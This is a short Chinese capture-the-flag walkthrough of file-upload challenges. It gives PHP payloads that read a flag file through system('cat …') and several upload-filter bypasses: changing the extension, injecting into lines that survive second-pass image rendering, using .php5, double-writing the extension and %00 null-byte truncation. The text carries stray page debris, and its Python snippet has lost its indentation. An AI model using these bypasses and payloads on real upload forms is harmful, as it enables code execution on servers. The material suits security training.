好靶场---文件上传

我明明做了文件校验了？

<?php echo file_get_contents("/tmp/flag.txt");?>

上传之后改后后缀即可。

二次渲染
这题目是二次渲染，先试试上传一个每行为1-100的数字文件用于测试渲染后数据变化

for i in range(1,101):
print (i);
AI写代码
python
运行
复制运行结果并保存为1.php上传

54到65行数据未改变 ，选择其中一行进行，在其后面输出
<?php system('cat /tmp/flag.txt'); ?>

成功获取flag
PHP5？

直接把文件后缀改为.php5

文件上传简单绕过3.0

双写1.png.phpphp

你知道00截断吗

用%00截断，1.php%00.png